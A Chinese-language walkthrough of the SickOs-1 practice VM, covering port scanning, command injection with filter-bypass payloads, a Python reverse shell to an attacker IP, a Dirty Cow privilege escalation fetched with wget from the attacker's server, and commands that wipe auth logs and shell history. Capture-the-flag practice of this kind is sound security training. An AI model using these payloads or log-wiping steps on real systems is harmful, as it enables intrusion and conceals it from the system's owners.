SickOs-1靶机渗透测试实战与技巧解析
2026/8/3 15:40:21 网站建设 项目流程

1. SickOs-1靶机渗透测试概述

SickOs-1是Vulnhub平台上经典的渗透测试靶机之一,属于难度中等的Linux系统环境。这个靶机设计精妙地模拟了真实世界中存在多种漏洞的Web服务器环境,特别适合用来练习信息收集、漏洞利用和权限提升等渗透测试核心技能。我在实际测试中发现,这个靶机至少包含3个不同层级的漏洞链,需要渗透者逐步突破边界防御、Web应用防护和系统级权限控制。

作为Vulhub系列中第19个实验环境,SickOs-1相比前几个靶机有几个显著特点:首先它采用了非常规的Web服务配置,默认端口不是80而是81;其次系统内存在精心设计的权限隔离机制;最重要的是靶机中埋设了多个需要组合利用的漏洞点。这些特性使得它成为检验渗透测试人员综合能力的绝佳实验平台。

2. 环境准备与初始侦察

2.1 靶机环境搭建

推荐使用VirtualBox导入SickOs-1的OVA文件(下载自Vulnhub官网),分配至少1GB内存和20GB硬盘空间。特别注意:首次启动时需要在VirtualBox设置中将网络适配器调整为"桥接模式",这样攻击机(Kali Linux)才能与靶机处于同一网络段。我遇到过不少学员因为网络模式配置错误导致无法发现靶机的情况。

# 查看本机IP范围 ifconfig # 使用nmap扫描同网段活跃主机 nmap -sn 192.168.1.0/24

2.2 基础信息收集

通过ARP扫描和Nmap服务探测,我们首先定位靶机的IP地址。这里有个关键细节:SickOs-1的Web服务默认运行在81端口而非常规的80端口,这是第一个容易忽略的点。完整的服务扫描命令应该包含全端口扫描:

nmap -p- -A -T4 192.168.1.105

扫描结果通常会显示以下开放端口:

  • 22/tcp ssh
  • 81/tcp http
  • 3128/tcp squid-proxy

注意:实际测试中我发现这个Squid代理服务存在特殊配置,不当使用会导致扫描结果不准确。建议初次扫描时先避开代理端口的干扰。

3. Web应用渗透测试实战

3.1 非标准端口Web服务探测

访问http://192.168.1.105:81会看到一个简单的登录页面。通过查看页面源码和目录扫描,我们可以发现几个关键路径:

/dirb common wordlist扫描结果: /cgi-bin/status /secret /test

使用Burp Suite抓包分析发现,/cgi-bin/status端点存在命令注入漏洞。这是第一个突破口,但直接注入会失败,因为系统做了基础过滤。经过多次测试,我发现以下payload可以绕过过滤:

;echo;whoami

这个payload利用了分号分隔命令和echo的空输出特性,成功执行了whoami命令。通过这个漏洞我们可以确认当前Web服务运行在www-data用户权限下。

3.2 反向Shell获取

为了建立更稳定的控制通道,我们需要获取反向shell。经过测试,以下Python代码可以通过命令注入漏洞执行:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在Kali上使用nc监听4444端口即可获得shell。但这里有个关键技巧:由于靶机环境缺少某些依赖,直接使用bash或netcat可能会失败。Python是更可靠的选择,这也是我在多次实战中总结的经验。

4. 权限提升与后渗透

4.1 横向移动技术

获得初始shell后,在/home目录下可以发现用户sickos的存在。通过检查/tmp和/var/log等目录,我找到了一个有趣的线索:系统定期执行的日志清理脚本存在权限配置问题。

ls -la /etc/cron.d/ cat /var/log/sickos_clean.log

这个发现为我们提供了两种可能的提权路径:通过cron任务注入或者利用脚本中的相对路径漏洞。经过测试,第二种方法更为可靠。

4.2 内核漏洞提权

检查系统内核版本:

uname -a Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP i686 i686 i386 GNU/Linux

这个内核版本存在多个已知漏洞。我推荐使用Dirty Cow(CVE-2016-5195)进行提权,因为它在类似环境中成功率最高。具体步骤:

  1. 在攻击机编译exp:
gcc -pthread dirty.c -o dirty -lcrypt
  1. 通过Python HTTP服务上传到靶机:
python -m SimpleHTTPServer 8000 wget http://攻击机IP:8000/dirty
  1. 执行提权:
chmod +x dirty ./dirty

成功后会提示输入新密码,之后就可以通过su root获取完整权限了。

5. 渗透测试中的难点与技巧

5.1 非常规端口的处理

SickOs-1使用81端口作为Web服务端口,这在实际渗透测试中并不罕见。我的经验是:永远不要假设服务运行在标准端口上。完整的渗透测试应该包含:

nmap -p- -sV 目标IP masscan -p1-65535 目标IP --rate=1000

5.2 命令注入的绕过技巧

当遇到被过滤的命令注入点时,可以尝试以下绕过方法:

  • 使用${IFS}代替空格
  • 用base64编码命令
  • 利用环境变量拼接敏感字符
  • 尝试多种命令分隔符(; & && | ||)

在SickOs-1的案例中,我发现用$()嵌套执行可以绕过部分过滤:

$(echo -e "whoami")

5.3 提权路径的选择

面对多个可能的提权路径时,建议按照以下优先级尝试:

  1. SUID/GUID错误配置
  2. Cron任务漏洞
  3. 内核漏洞
  4. 密码复用或弱密码
  5. 服务配置错误

在SickOs-1中,我最终选择了内核漏洞提权,因为其他路径要么不存在要么需要更多前置条件。这也是渗透测试中的一个重要原则:选择最直接有效的路径,而不是执着于某个特定方法。

6. 渗透测试后的痕迹清理

获取root权限后,作为负责任的渗透测试者,我们需要清理操作痕迹。主要关注以下几个文件:

/var/log/auth.log /var/log/syslog ~/.bash_history /tmp/目录下的临时文件

可以使用以下命令快速清理:

echo "" > /var/log/auth.log history -c rm -f /tmp/.??*

重要提示:在实际授权测试中,清理前务必先与客户确认,有些场景需要保留完整日志作为报告附件。

通过完整演练SickOs-1靶机,我深刻体会到渗透测试就像解谜游戏,需要耐心、创造力和系统化的思维。每个看似简单的漏洞背后,都可能隐藏着通向最终目标的路径。建议新手在掌握基础方法后,多尝试不同的攻击路径组合,这对培养实战能力大有裨益。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询